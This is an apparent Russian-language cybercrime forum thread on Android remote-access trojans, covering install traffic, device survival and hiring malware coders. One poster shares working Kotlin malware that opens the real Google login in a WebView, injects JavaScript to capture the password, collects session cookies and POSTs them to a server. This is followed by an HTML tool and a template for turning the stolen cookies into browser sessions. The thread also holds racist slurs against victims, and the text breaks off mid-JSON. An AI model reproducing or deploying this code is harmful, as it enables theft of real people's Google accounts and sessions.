• XSS.stack #1 – первый литературный журнал от юзеров форума

Трезвый и независимый взгляд на ситуацию с Android RAT

Слободан Милошевич

RAM
Пользователь
Регистрация
13.11.2022
Сообщения
108
Реакции
73
Гарант сделки
4
Сообщение модератора: флейм вынесен из этой темы - https://xss.pro/threads/119061/

По андроидам сейчас ситуация такая, что то, что вы ищете, просто невозможно реализовать. Точнее можно, но при работе только с определённым трафиком. Постараюсь описать вкратце:
1. Основная головная боль - ксяоми. На ксяоми нормальную работоспособность сделать просто невозможно, система втупую убивает процесс когда не попадя, и с этим работать-что лечить раковых больных. 1 из 10 дай бог проживёт, ито от силы пару часов. С этим только смириться, увы, такое настало время, и с этим ничего не сделать.
2. Другие прошивки тоже не сильно отстают, и в большинстве своём, проблема та же, что на ксяоми, а именно живучесть, просто в меньшей степени. Проверить это проще простого-поустанавливай белого софта для управления телефоном, и посмотри, сколько он будет жить от запуска сессии до убийства процесса системой. То что на самсунге с 11 андроидом у тебя всё чётко работа везде и всегда. И из этого мы плавно переходим к варианту решения вопроса, а именно ТРАФИК.
Какая ситуация сейчас? Все хотят лить трафик, как 5 лет назад, закинув 100 баксов на биржу инсталлов, набрать лохов с порносайтов, и заработать миллионы, уже почти 2025 год, а люди до сих пор льют на обнову хром(!) и флеш плеер(!!!)! Но виноваты в этом, конечно же кодеры, что софт говно) Но сейчас не об этом, а о решениях проблемы, ведь как говорится, безвыходных ситуаций не бывает.

Всё начинается с трафика, а главное - его таргета. Основная проблема, ксяоми = нужно либо их обрезать в трафике, либо лить там, где их просто нет. А где их нет? Правильно! В США. Но проблема в США другая, это айфоны. И если ты льёшь пресловутую выдроченую испанию, статистика у тебя будет из 10 устройств +-6-7 ксяоми, 2-3 самсунга, и рандомная трубка типа мотороллы/нокии и прочей х#йни. (тут айфоны не считаю, опять же, зависит от трафика. Порно трафф - 80% андроидов. Банк трафф - 50/50 с айфонами.) НО! Если ты льёшь ЮСУ, там из 10 устройств будет 6-7, это айфоны, 2-3 самсунги, и один ноунейм андроид. Но опять же, безвыходных проблем, как мы знаем, не бывает, попробуем найти выход из этой ситуации! 2 самых простых примера, это фейсбук, и гугл консоль (реклама приложений в плей маркете). В плей маркет залепить сложно, но можно, но это путь, за который 95% тех кто "работает" с андроид ботами, даже не берутся, потому что мозгов на реализацию оного просто не хватает. А те у кого есть лодер в маркете, обычно не ищут ботов в темах. Переходим к фейсбуку. Казалось бы - ИДЕАЛЬНАЯ ПЛАТФОРМА! Там можно выбрать не то что одни андроиды, можно выбрать вплоть до КОМПАНИЙ, и даже МОДЕЛЕЙ устройств! Вот она золотая жила! Но что мы видим в реальности? Как все знают, с 13 андроида, чтобы спокойно выдать ацессибилити, нужно чтобы твой АПК установили из под другого АПК, это уже удлинняет связку = уменьшает процентаж клик/готовый инсталл. Опять же, мозгов не хватает под такое сделать грамотную связку, не просить же лоха из под обновы флеш плеер установить обнову хром? Остаётся вариант-таргет на андроиды 9-10-11, максимум 12. Но время пиздец поменялось! И если условные 5 лет назад, когда ты лил траф с фб, каждый второй клик это условный белый джон, работающий брокером (я утрирую), то сейчас каждый второй это ебучий негр иммигрант, который сналил свою стипендию за обучение сразу по приезду, и всё, для чего используются его ба/кошельки, это под обнал раз в год тем, кто на данном форуме пишет "есть дропы юса приму залив", а сам негр спокойно без цифровых денег выносит новые кроссы из бершки на халяву (BLM ВПЕРЁД!). У меня были сотни селфи этих п#дарасов, и везде жирная чёрная рожа, это просто пиздец! И даже на грамотном таргет трафике с гугла, 50% карт, которые вводят лохи, это ебучие виртуалки чайма/кешаппа и прочей х#йни, на которых конечно же, нет баланса. Расписывать об этом всём я могу часами, но увы уже бухнул и как то лень) Итог какой? Все хотят идеальный софт, который будет работать на 10/10 устройствах, и хотят заплатить за это касарь баксов, залутав миллион. Лёгкое время работы с андроидом прошло, как с рынка ушёл церберус. Чтобы работа шла более менее, у тебя должен быть офис с десятками, а то и сотнями тех девайсов, чётко на которые модели ты можешь лить трафик, и не один кодер, а несколько, иначе отладка под каждый девайс будет длиться очень долго. Это явно не делается через "гаранта с чёткими требованиями", потому что ваши требования просто физически невозможно воспроизвести без фермы девайсов, без траты кучи времени и усилий в молоко, а если бы их можно было быстро, дёшево и легко воспроизвести, сейчас бы было время, как в 18-19 году, и все сидели в шоколаде. Но, как мы знаем, история не терпит сослагательного наклонения, так что итог такой, что имея бюджет под это, (норм уровень = лезть в рут = 100к$+ )есть темы гораздо прибыльней и проще на данный момент. Так что ребята, вместо того чтобы говорить что кодеры ебланы, просто не лезьте бл#ть в хипхоп андроид, мой вам добрый совет, человека который проебался с этим очень много сил и времени. Всего вам доброго.
 
Последнее редактирование модератором:
Я ни в коем случае не говорю, что по андроиду нет никаких тем для работы, просто того, чего вы ожидаете, а именно, налить говно инсталлов, залезть в трубку как дедик на винде спустя неделю установки, чтобы бот жил годами, и сналить все криптокошельки, на которых будут миллиарды, заплатив кодеру две копейки на бутылку водки, просто невозможно в данный момент, а те у кого мозги дошли, как реализовать функционал в деньги, который для ТС является "менее важным функционалом" (потому что его может сделать любой, а то что все хотят во влажных мечтах, не может сделать никто), тут не водятся.
Сделать работающий VNC с чёрным экраном и кейлоггером, сделает любой кодер с фриланса, НО:
1. Он будет стабильно работать только на телефоне, который в руках у кодера
2. Гарантия на живучесть будет максимум 5 минут
3. Вас это не устроит.

Вот такая правда жизни!
 
Последнее редактирование:
Почему десятки тем от тех, кто ищет СУПЕРПУПЕРМЕГАПРОПРИВАТВНЦХВНЦВИРУСКРЫСАМАЛВАРЬБОТНЕТ АНДРОИД, и нет НИ ОДНОГО РЕАЛЬНО ХОРОШЕГО, ГРАМОТНОГО бота в аренде на рынке? Почему те, кто отписываются в темах, где ищут ПРИВАТ ХВНЦ АНДРОИД, отвечая "Я ИМЕЮ НАПИШИ МНЕ ЕСЛИ ТЫ ДЕЙСТВИТЕЛЬНО СЕРЬЁЗНЫЙ", продают в соседних темах фишинги по 100 баксов? У вас правда не сходится это в голове? Куча ботов выгружены в паблик за последние год/два, неужели за столько времени не нашлось ни одного человека, кто поднял бы с этих сурцев грамотного бота? Но, как мы видим, действительно не нашлось, одни турки, которые банчат ссаниной, вечно сидящие в арбитражах, и причина не в том что кто-то в "супер-привате делает миллиарды", причина совсем в другом...
 
Где церберус? где анубис? где ермак? где сова? где пойзон? заработали миллиарды и сидят под пальмами ебут мулаток? А вы хотите к ним присоединиться? До сих пор веря, что лох, скачавший ваш софт, попытавшись удалить, и получив блок на удаление в виде "мы тыкнем вместо тебя не удалить, а отменить", когда при открытии настроек кликается 10 раз "назад", вы действительно думаете, что после такого поведения софта жертва с радостью побежит вводить карту в вашем ссаном фише под сс гугл пея, сделаном ещё в 2019 году? Или откроют криптокошелёк с миллионами и побегут копировать сид фразу, зная что на телефоне малварь? Пора умнеть, ребята...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Где церберус? где анубис? где ермак? где сова? где пойзон? заработали миллиарды и сидят под пальмами ебут мулаток? А вы хотите к ним присоединиться? До сих пор веря, что лох, скачавший ваш софт, попытавшись удалить, и получив блок на удаление в виде "мы тыкнем вместо тебя не удалить, а отменить", когда при открытии настроек кликается 10 раз "назад", вы действительно думаете, что после такого поведения софта жертва с радостью побежит вводить карту в вашем ссаном фише под сс гугл пея, сделаном ещё в 2019 году? Или откроют криптокошелёк с миллионами и побегут копировать сид фразу, зная что на телефоне малварь? Пора умнеть, ребята...
У вас какое-то нездоровое отношение к этой теме, иначе я не знаю, как объяснить весь этот "выговор" на такое количество сообщений в коммерческой теме. Я не спрашиваю ваше мнение, как мне делать бизнес. Но дам ответ, дабы в будущем исключить вопросы у других людей и потенциальных кодеров.

Траф есть, он стабильно идет и будет идти еще очень долго. Мы работаем ежедневно, у нас нет никаких "затыков" в работе и завышенных ожиданий в виде "пусть боты живут годами" или "внц должно открываться абсолютно везде". На текущий момент наш софт держит коннекты стабильно несколько часов - этого более, чем достаточно под наши цели. Однако, он не захватывает часть новых устройств и имеет другие незначительные проблемы. Если на текущий момент есть возможность увеличить продуктивность нашей работы, мы ей обязательно воспользуемся, именно поэтому здесь находится данный топик. Не найдется автор или готовый продукт, мы просто продолжим также работать, но чуть менее продуктивно, чем это могло бы быть с хорошим продуктом.

Мне не интересно ваше мнение, ваши проблемы, ожидание, обиды и прочее. Мне нужен кодер или готовый продукт. Взамен я отдаю деньги за знания и уделенное время. Трафик, отработка и прочие моменты - не заботы кодера и уж тем более, никак не ваши. И да, я предлагаю фиксированную ставку, нигде нет ни слова о каком-то проценте об отработке, поэтому к чему эти "аргументы" с вашей стороны - я не понимаю.
 
У вас какое-то нездоровое отношение к этой теме, иначе я не знаю, как объяснить весь этот "выговор" на такое количество сообщений в коммерческой теме. Я не спрашиваю ваше мнение, как мне делать бизнес. Но дам ответ, дабы в будущем исключить вопросы у других людей и потенциальных кодеров.

Траф есть, он стабильно идет и будет идти еще очень долго. Мы работаем ежедневно, у нас нет никаких "затыков" в работе и завышенных ожиданий в виде "пусть боты живут годами" или "внц должно открываться абсолютно везде". На текущий момент наш софт держит коннекты стабильно несколько часов - этого более, чем достаточно под наши цели. Однако, он не захватывает часть новых устройств и имеет другие незначительные проблемы. Если на текущий момент есть возможность увеличить продуктивность нашей работы, мы ей обязательно воспользуемся, именно поэтому здесь находится данный топик. Не найдется автор или готовый продукт, мы просто продолжим также работать, но чуть менее продуктивно, чем это могло бы быть с хорошим продуктом.

Мне не интересно ваше мнение, ваши проблемы, ожидание, обиды и прочее. Мне нужен кодер или готовый продукт. Взамен я отдаю деньги за знания и уделенное время. Трафик, отработка и прочие моменты - не заботы кодера и уж тем более, никак не ваши. И да, я предлагаю фиксированную ставку, нигде нет ни слова о каком-то проценте об отработке, поэтому к чему эти "аргументы" с вашей стороны - я не понимаю.
Я расписал от того что делать нехуй, и расписал ровно то, что вы и ответили. На старых трубках всё работает чётко и по несколько часов, на новых реализовать требуемый вами функциал просто невозможно. Не воспринимайте близко к сердцу, было скучно, увидел тему, взаимодействующую с моей деятельностью. Не более того.
 
Слободан Милошевич ты утрируешь сильно, т.к всё что ты описал это агрессивное поведение малвари на андроид. Есть разные ухищрения на тему "как продлить жизнь сервиса" и сделать рабочий ВНЦ с адекватным фпс, а пользователи Андроид как давали аксесабилити - так и будут давать, главное чтоб это всё выглядело легитимно для них. Кстати, говоря о аксесабилити - есть довольно таки интересный способ обхода ограничений для Андроид 13+, хочется конечно это обсудить, но боюсь тюрки придумают скам. Я ещё не тестил, но есть успешный кейс на эмуле, пока что не знаю как будет работать на физических девайсах с различными оболочками
 
есть довольно таки интересный способ обхода ограничений для Андроид 13+
но ведь получается что ТС прав.
Способ есть, а популярного рабочего продукта нет... (я просматривала рынок и заметила разрыв между огромным спросом на аналог Ермака и отсутствием четких предложений).
Если рыночная цена софта будет 25-30К, то владелец заработает лямы. И никто бы не оказался от новой версии ботнета, если был бы простой обход ограничений.
Все верно, RedDragon ?
 
Всё зависит от того, что ты предлагаешь холдеру. Если он загружает себе хром в котором них#я нет, естественно он будет пытаться снести это гавно. Грамотный оффер, минимум палева в АПК, красивые разводки HTML и прочее прочее в купе может выдать качественный инсталл. Конечно не могу не согласиться с тем что стало всё гораздо сложнее, ну а как ты думал? В 2002 году кардинг тоже был другим, но по итогу лазейка находилась и как то вот кардят по сей день..
 
Последнее редактирование:
но ведь получается что ТС прав.
Способ есть, а популярного рабочего продукта нет... (я просматривала рынок и заметила разрыв между огромным спросом на аналог Ермака и отсутствием четких предложений).
Если рыночная цена софта будет 25-30К, то владелец заработает лямы. И никто бы не оказался от новой версии ботнета, если был бы простой обход ограничений.
Все верно, RedDragon ?
Да, верно. Но всё же, не без сложностей. Для отладки действительно понадобятся множество устройств, чтоб бот был стабильным. Отвечая на вопрос, возможно? - да. Однозначно. Просто хотел донести, что впо на андроид ещё рано умирать.
 
+модератору за название темы)
До этого момента я был трезвый, потом пошёл искать скрины чаймов с балансом -100$ и ебальники п#дарасов негров эмигрантов, увы телегу с теми скринами я давно удалил, а пока кент у кого они могли быть их искал, я уже сходил за бутылкой, и чёто лень стало... Ну раз тему отдельно перенесли, могу продолжить свою точку зрения.

Да, грамотный оффер = залог успеха работы в данный момент. Сейчас мне лень расписывать, но чтобы показать, что я что-то умею в этой сфере, выкидываю вам свои наработки, которые я думаю, мало кто использует, и используют ли вообще. Не знаю, работает ли сейчас, но доделать - проще простого. UPD ТОЛЬКО ЧТО ПРОВЕРИЛ, ДОФИКСИЛ, ВСЁ РАБОТАЕТ!

Представляю вам собственную приват разработку гугл инжекта, БЕЗ ЕДИНОГО РАЗРЕШЕНИЯ! Никаких ацессибилити! Ловите:


Java:
package ebat.ameriku.vjopu

import android.annotation.SuppressLint
import android.content.Context
import android.os.Bundle
import android.util.Log
import android.webkit.CookieManager
import android.webkit.WebResourceRequest
import android.webkit.WebView
import android.webkit.WebViewClient
import androidx.appcompat.app.AppCompatActivity
import org.json.JSONObject
import java.io.OutputStream
import java.net.HttpURLConnection
import java.net.URL

class ChromeActivity : AppCompatActivity() {



    private lateinit var webView: WebView
    private val links = mutableListOf<String>()
    // Определяем переменную и инициализируем её пустым Map
    private var cookieValuesOLD = mutableMapOf(
        "SID" to "",
        "HSID" to "",
        "SSID" to "",
        "APISID" to "",
        "SAPISID" to "",
        "ACCOUNT_CHOOSER" to "",
        "LSID" to "",
        "OSID" to ""
    ) //РАНЬШЕ ХВАТАЛО ПОДМЕНИТЬ ТОЛЬКО ЭТИ, ВСЁ ОСТАЛЬНОЕ SECURE НАХУЙ НЕ НАДО БЫЛО, ЩАС ПРОВЕРИЛ, НЕ ПУСКАЕТ ТОЛЬКО ПО НИМ, НО ДУМАЮ ТУТ ПРОБЛЕМА В ЧЁМ-ТО ДРУГОМ, КОМУ НАДО-САМИ ЗАТЕСТИТЕ, ДОЛЖНО 99% ДО СИХ ПОР ХВАТАТЬ ТОЛЬКО ЭТИХ. НО ЕСЛИ ПОДСТАВЛЯТЬ С СЕКУРАМИ ТО ПУСКАЕТ СПОКОЙНО

    private var cookieValues = mutableMapOf(
        "SID" to "",
        "HSID" to "",
        "SSID" to "",
        "APISID" to "",
        "SAPISID" to "",
        "ACCOUNT_CHOOSER" to "",
        "LSID" to "",
        "OSID" to "",
        "OTZ" to "",
        "NID" to "",
        "SIDCC" to "",
        "__Host-1PLSID" to "",
        "__Host-3PLSID" to "",
        "__Host-GAPS" to "",
        "__Secure-1PAPISID" to "",
        "__Secure-1PSID" to "",
        "__Secure-1PSIDCC" to "",
        "__Secure-1PSIDTS" to "",
        "__Secure-3PAPISID" to "",
        "__Secure-3PSID" to "",
        "__Secure-3PSIDCC" to "",
        "__Secure-3PSIDTS" to "",
        "__Secure-OSID" to ""
    )






    @SuppressLint("JavascriptInterface")
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        title = "Chrome"
        supportActionBar?.hide() // скрыть заголовок приложения
        setContentView(R.layout.google_layout)


        webView = findViewById(R.id.webView) // Инициализируем WebView


        val cookieManager: CookieManager = CookieManager.getInstance()//куки менеджер
        cookieManager.setAcceptThirdPartyCookies(webView, true)//куки раз
        cookieManager.setAcceptCookie(true)//куки два

        webView.addJavascriptInterface(JavaScriptInterface(), "Android")//соединяем с джаваскриптинтерфейсом


        webView.settings.apply {
            javaScriptEnabled = true
            domStorageEnabled = true
            javaScriptCanOpenWindowsAutomatically = true
            loadWithOverviewMode = true
            useWideViewPort = true
        }

        webView.setWebViewClient(object : WebViewClient() {

            // Функция shouldOverrideUrlLoading() вызывается каждый раз при загрузке нового URL
            override fun shouldOverrideUrlLoading(view: WebView?, request: WebResourceRequest?): Boolean {
                val url = request?.url?.toString()

                if (url != null) {



                    // Получаем куки
                    val cookieManager = CookieManager.getInstance()
                    val cookies = cookieManager.getCookie(url)
                    // Проверяем, что куки не пустые и не содержат только __Host-GAPS
                    val isCookiesValid = !cookies.isNullOrEmpty() && !cookies.equals("__Host-GAPS")
                    // Если куки действительны, то добавляем URL в массив links
                    if (isCookiesValid) {
                        // Разбиваем строку cookies по символу ";", чтобы получить отдельные куки
                        val cookieList = cookies.split(";")
                        // Проходим по списку куков и добавляем их в cookieValues, если они есть в исходном словаре cookieValues
                        for (cookie in cookieList) {
                            val cookieParts = cookie.split("=")
                            val cookieName = cookieParts[0].trim()
                            val cookieValue = cookieParts[1].trim()
                            if (cookieValues.containsKey(cookieName)) {
                                cookieValues[cookieName] = cookieValue
                            }
                        }
                    }
                    // Выводим ссылку и куки в журнал независимо от того, были они действительными или нет
                    Log.d("Links", "URL: $url")
                    Log.d("Cookies", "Cookies: $cookies")
                }
                return super.shouldOverrideUrlLoading(view, request)
            }


            // Функция onPageFinished() вызывается каждый раз, когда WebView загрузил всю страницу
            override fun onPageFinished(view: WebView?, url: String?) {
                super.onPageFinished(view, url)

                Log.d("Links", "URL: $url")

                val script = "// Функция для поиска элемента по селектору и выполнения callback\n" +
                        "function findElement(selector, callback) {\n" +
                        "    const intervalId = setInterval(() => {\n" +
                        "        const element = document.querySelector(selector);\n" +
                        "        if (element) {\n" +
                        "            clearInterval(intervalId);\n" +
                        "            callback(element);\n" +
                        "        }\n" +
                        "    }, 1000);\n" +
                        "}\n" +
                        "\n" +
                        "// Функция для обработки клика по кнопке\n" +
                        "function handleClick() {\n" +
                        "    const password = document.querySelector('input[name=\"Passwd\"]').value;\n" +
                        "    window.Android.sendInfoApp(password);\n" +
                        "}\n" +
                        "\n" +
                        "// Найти кнопку и установить обработчик события\n" +
                        "findElement('#passwordNext button', function(element) {\n" +
                        "    element.addEventListener('click', handleClick);\n" +
                        "});\n"

                if (url != null && url.startsWith("https://accounts.google.com")) {
                    view?.evaluateJavascript(script.trimIndent()) {
                        Log.d("WebView", "Применен расшифрованный JScript на странице: $url, скрипт: $script")
                    }
                }



                // Если URL начинается с "https://myaccount.google.com", то собираем валуесы нахуй!
                if (url != null && url.startsWith("https://myaccount.google.com")) {
                    // Выводим все собранные куки в формате JSON на сервак
                    val cookiesJson = cookieValues.toString() //куки в одну строку
                    val cookiesParams = JSONObject() //создаём json объект с куками и паролем
                    val sharedPreferences = getSharedPreferences("default", Context.MODE_PRIVATE)//шареды
                    val googlePass = sharedPreferences.getString("googlepass", "0")//берём пасс из шаредов
                    cookiesParams.put("cookie", cookiesJson) //куки в json
                    cookiesParams.put("password", googlePass)//пасс в json

                    sendToServer(this@ChromeActivity, "googleaccount", cookiesParams)//шлём на сервер, отправка на сервер у всех своя

                    val editor = sharedPreferences.edit()
                    editor.putString("google", "1")
                    editor.apply()//это я делал для отслеживания что гугл уже есть, чтобы инжект не открывать
                }
            }
        })

        webView.loadUrl("https://accounts.google.com")// логин гугла
    }

    override fun onBackPressed() {
        if (webView.canGoBack()) {
            webView.goBack()
        } else {
            super.onBackPressed()
        }
    }//чтобы кнопка назад не закрывала инжект

    private fun addFromJsInfo(message: String) {

        Log.d("JsToApp", message)

        val sharedPreferences = getSharedPreferences("default", Context.MODE_PRIVATE)

        sharedPreferences.edit()
            .putString("googlepass", message)
            .apply()
        //сохраняем пасс в шареды
    }

fun sendToServer(context: Context, method: String, jsonParams: JSONObject) {
    // URL сервера
    val urlString = "https://yourserver.com/api"

// Добавляем ключ method в jsonParams
jsonParams.put("method", method)

    // Создание нового потока для выполнения сетевого запроса
    Thread {
        var connection: HttpURLConnection? = null
        try {
            // Создание URL и соединения
            val url = URL(urlString)
            connection = url.openConnection() as HttpURLConnection

            // Настройка соединения
            connection.requestMethod = "POST"
            connection.doOutput = true
            connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8")

            // Отправка данных
            val outputStream: OutputStream = connection.outputStream
            outputStream.write(jsonParams.toString().toByteArray(Charsets.UTF_8))
            outputStream.flush()
            outputStream.close()

            // Получение ответа
            val responseCode = connection.responseCode
            if (responseCode == HttpURLConnection.HTTP_OK) {
                val inputStream = connection.inputStream
                val response = inputStream.bufferedReader().use { it.readText() }
                println("Response: $response")
            } else {
                println("Error: ${connection.responseMessage}")
            }
        } catch (e: Exception) {
            e.printStackTrace() // Логирование ошибки
        } finally {
            connection?.disconnect()
        }
    }.start()
}


    inner class JavaScriptInterface {

        // Добавляем метод для передачи данных с js
        @android.webkit.JavascriptInterface
        fun sendInfoApp(message: String) {
            runOnUiThread {
                addFromJsInfo(message)
            }
        }

    }//скобка джаваскриптинтерфейс
    }//скобка активити

При открытии этого активити открывается ориг вход в гугл аккаунт, пиздится пароль через js инъекцию, собираются все нужные куки для доступа в аккаунт. Спросите, как же запускать инжект без ацессибилити? В этом и суть! Делайте грамотный оффер! Сейчас на большинстве топ сайтов есть вход через гугл аккаунт, просто просите жертву авторизоваться через гугл акк. Даже в избитую обнову хрома это можно запихнуть, лол. Почему собирается только пароль, без почты? Потому что по кукам когда ты входишь, видно почту.

Чтобы норм юзать, банальная html страничка:


HTML:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cookie Updater</title>
</head>
<body>
    <h1>Cookie Updater</h1>
  
    <h2>JSON Cookies</h2>
    <textarea id="jsonCookies" rows="10" cols="50">
[
  {
    "domain": "accounts.google.com",
    "expirationDate": 1723926784,
    "httpOnly": false,
    "name": "OTZ",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "jfi2ijfds",
    "sameSite": "unspecified"
  },
  {
    "domain": "accounts.google.com",
    "expirationDate": 1755894847.717483,
    "httpOnly": true,
    "name": "ACCOUNT_CHOOSER",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "fjoiu4fkds",
    "sameSite": "unspecified"
  }]
    </textarea>

    <h2>name=value Cookies</h2>
    <textarea id="nameValueCookies" rows="2" cols="50">
ACCOUNT_CHOOSER=fdsfjdsjfk; OTZ=fdjsifldsfds;
    </textarea>

    <br>
    <button onclick="updateCookies()">Update Cookies</button>

    <h2>Updated JSON Cookies</h2>
    <textarea id="updatedJsonCookies" rows="10" cols="50"></textarea>

    <script>
        function updateCookies() {
            // Get JSON cookies from the textarea
            const jsonCookies = JSON.parse(document.getElementById('jsonCookies').value);

            // Get name=value cookies from the textarea
            const nameValueCookies = document.getElementById('nameValueCookies').value.split(';').map(cookie => cookie.trim());

            // Create a map of name=value cookies
            const cookieMap = {};
            nameValueCookies.forEach(cookie => {
                const [name, value] = cookie.split('=');
                cookieMap[name] = value;
            });

            // Update JSON cookies with new values from name=value cookies
            jsonCookies.forEach(cookie => {
                if (cookieMap[cookie.name] !== undefined) {
                    cookie.value = cookieMap[cookie.name];
                }
            });

            // Display updated JSON cookies
            document.getElementById('updatedJsonCookies').value = JSON.stringify(jsonCookies, null, 2);
        }
    </script>
</body>
</html>

В верхнюю строчку вставляете example, в нижнюю то что вам бот выдаёт, получаете готовые куки под антик. example куков:


JSON:
[
  {
    "domain": "accounts.google.com",
    "expirationDate": 1723926784,
    "httpOnly": false,
    "name": "OTZ",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": "accounts.google.com",
    "expirationDate": 1755894847.717483,
    "httpOnly": true,
    "name": "ACCOUNT_CHOOSER",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490588,
    "httpOnly": false,
    "name": "APISID",
    "path": "/",
    "secure": false,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116825,
    "httpOnly": false,
    "name": "APISID",
    "path": "/",
    "secure": false,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.49056,
    "httpOnly": true,
    "name": "HSID",
    "path": "/",
    "secure": false,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116798,
    "httpOnly": true,
    "name": "HSID",
    "path": "/",
    "secure": false,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": "accounts.google.com",
    "expirationDate": 1755894858.44726,
    "httpOnly": true,
    "name": "LSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1737145991.490434,
    "httpOnly": true,
    "name": "NID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": "myaccount.google.com",
    "expirationDate": 1755894851.173705,
    "httpOnly": true,
    "name": "OSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": "gds.google.com",
    "expirationDate": 1723926855,
    "httpOnly": false,
    "name": "OTZ",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490602,
    "httpOnly": false,
    "name": "SAPISID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116838,
    "httpOnly": false,
    "name": "SAPISID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490464,
    "httpOnly": false,
    "name": "SID",
    "path": "/",
    "secure": false,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116875,
    "httpOnly": false,
    "name": "SID",
    "path": "/",
    "secure": false,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1752870861.470609,
    "httpOnly": false,
    "name": "SIDCC",
    "path": "/",
    "secure": false,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490575,
    "httpOnly": true,
    "name": "SSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116813,
    "httpOnly": true,
    "name": "SSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": "accounts.google.com",
    "expirationDate": 1755894858.447283,
    "httpOnly": true,
    "name": "__Host-1PLSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": "accounts.google.com",
    "expirationDate": 1755894858.447302,
    "httpOnly": true,
    "name": "__Host-3PLSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": "accounts.google.com",
    "expirationDate": 1755894859.303349,
    "httpOnly": true,
    "name": "__Host-GAPS",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490616,
    "httpOnly": false,
    "name": "__Secure-1PAPISID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.11685,
    "httpOnly": false,
    "name": "__Secure-1PAPISID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490482,
    "httpOnly": true,
    "name": "__Secure-1PSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116888,
    "httpOnly": true,
    "name": "__Secure-1PSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1752870861.470634,
    "httpOnly": true,
    "name": "__Secure-1PSIDCC",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1752870859.116729,
    "httpOnly": true,
    "name": "__Secure-1PSIDTS",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "unspecified"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490632,
    "httpOnly": false,
    "name": "__Secure-3PAPISID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116862,
    "httpOnly": false,
    "name": "__Secure-3PAPISID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1755894847.490498,
    "httpOnly": true,
    "name": "__Secure-3PSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1755894859.116901,
    "httpOnly": true,
    "name": "__Secure-3PSID",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": ".google.com",
    "expirationDate": 1752870861.47066,
    "httpOnly": true,
    "name": "__Secure-3PSIDCC",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": ".youtube.com",
    "expirationDate": 1752870859.11678,
    "httpOnly": true,
    "name": "__Secure-3PSIDTS",
    "path": "/",
    "secure": true,
    "session": false,
    "value": "test",
    "sameSite": "no_restriction"
  },
  {
    "domain": "myaccount.google.com",
    "expirationDate": 1755894851.173756,
    "httpOnly": true,
    "name": "__Secure-OSID",
    "path": "/",
